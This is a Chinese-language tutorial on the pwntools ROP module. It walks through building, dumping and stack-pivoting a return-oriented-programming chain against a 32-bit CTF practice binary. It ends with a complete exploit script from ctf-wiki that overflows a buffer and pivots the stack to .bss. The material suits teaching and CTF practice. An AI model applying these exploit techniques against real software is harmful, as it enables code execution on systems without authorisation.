1.首先对某可执行文件创建一个rop对象
In [57]: rop=ROP('main')
[*] '/home/u/rop/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Loaded cached gadgets for 'main'
In [58]: rop
Out[58]: ROP([ELF('/home/u/rop/main')])
预览一下所有属性和方法:
In [59]: rop.
rop.base rop.elfs rop.leave rop.resolve
rop.build rop.find_gadget rop.migrate rop.search
rop.call rop.find_stack_adjustment rop.migrated rop.search_iter
rop.chain rop.from_blob rop.pivots rop.setRegisters
rop.describe rop.gadgets rop.raw rop.unresolve
rop.dump rop.generatePadding rop.regs
方法raw:手动添加数据
In [72]: rop.raw("a"*10)
这样rop中添加了10个padding,如果知道了离覆盖返回地址的长度,可以先填充字符串或者0x90
方法dump:
会将已经构建的栈数据输出,而且方便阅读
方法:call:
rop.call('read',[1,2,3])
print rop.dump()
0x0000: 'aaaa' 'aaaaaaaaaa'
0x0004: 'aaaa'
0x0008: 'aaaa'
0x000c: 0x80483a0 read(1, 2, 3)
0x0010: 'eaaa' <return address>
0x0014: 0x1 arg0
0x0018: 0x2 arg1
0x001c: 0x3 arg2
第一个参数为目标函数符号名,第二个参数是个list,作为目标函数的参数.然后构建出数据拼接到已有的数据中
或者使用rop.read(1,2,3):效果和call一样.细心点可以发现前一个read后的返回地址改成了栈调整的数据.rop模块会自动寻找gadget来连接上2次功能调用
print rop.dump()
0x0000: 'aaaa' 'aaaaaaaaaa'
0x0004: 'aaaa'
0x0008: 'aaaa'
0x000c: 0x80483a0 read(1, 2, 3)
0x0010: 0x8048376 <adjust @0x20> add esp, 8; pop ebx; ret
0x0014: 0x1 arg0
0x0018: 0x2 arg1
0x001c: 0x3 arg2
0x0020: 0x80483a0 read(1, 2, 3)
0x0024: 'jaaa' <return address>
0x0028: 0x1 arg0
0x002c: 0x2 arg1
0x0030: 0x3 arg2
rop.unresolve('main') 返回符号的地址
方法:rop.migrate(地址)
rop.migrate(2)
print rop.dump()
0x0000: 'aaaa' 'aaaaaaaaaa'
0x0004: 'aaaa'
0x0008: 'aaaa'
0x000c: 0x80483a0 read(1, 2, 3)
0x0010: 0x8048376 <adjust @0x20> add esp, 8; pop ebx; ret
0x0014: 0x1 arg0
0x0018: 0x2 arg1
0x001c: 0x3 arg2
0x0020: 0x80483a0 read(1, 2, 3)
0x0024: 0x8048376 <adjust @0x34> add esp, 8; pop ebx; ret
0x0028: 0x1 arg0
0x002c: 0x2 arg1
0x0030: 0x3 arg2
0x0034: 0x804861b pop ebp; ret
0x0038: -0x2
0x003c: 0x8048458 leave; ret
从代码中可以看到,第2个read的返回地址被调整为 0x8048376 <adjust @0x34> add esp, 8; pop ebx; ret.
执行完后esp指向-2,并且进入 0x804861b pop ebp; ret执行代码,然后ebp被置为-2.如果此处换成其他地址,则栈就被迁移到另外一个地方去了.ret后,进入leave;ret,执行完后ebp为[-2],进入新栈的第二个4B地址处,esp指向新栈的第三个4B地址处. 为什么这里是-2,而不是2,因为这个函数的参数是当0x003c: 0x8048458 leave; ret
执行后,eip的去向, 当执行完leave之后,esp指向2(因为leave==mov esp,ebp;pop ebp),ret后,eip会转向地址2处的地址,即通过栈迁移后控制程序往哪里执行.
方法:rop.chain()
rop.chain()
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa0\x83\x04\x08v\x83\x04\x08\x00\x00\x00\x00@\xa8\x04\x08d\x00\x00\x00\x1b\x86\x04\x08<\xa8\x04\x08X\x84\x04\x08'
返回完整的shellcode
有时候一次运行需要多次rop,再次重新生成rop,则重新调用ROP(path)创建一个rop即可
典型实例:
#coding:utf-8
#原文来源于ctf-wiki:https://github.com/ctf-wiki/ctf-wiki
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding offset是缓冲区里返回地址的距离,这块直接填充
rop.raw('a' * offset)
### read 100 byte to base_stage
#添加read函数,当源程序的vuln函数返回时被劫持进入read函数,此时会等待输入,也就是将第二个rop写入到
#base_stage中
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
#将第一个rop发送后,程序流程被劫持到read
#函数,此时程序等待输入等本脚本的下面的sendline执行后,会将下面的定义的rop给read到base_stage中去
#然后第一个rop的rop.migrate(base_stage)会将程序流程又转到[base_stage],因为此时的base_stage被read
#函数写入了第二个rop,其中第二个rop的开始就是rop.write(1, base_stage + 80, len(sh)),因此进入了第二rop的执行流程这时就会把字符串/bin/sh打印出来
r.sendline(rop.chain())
## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
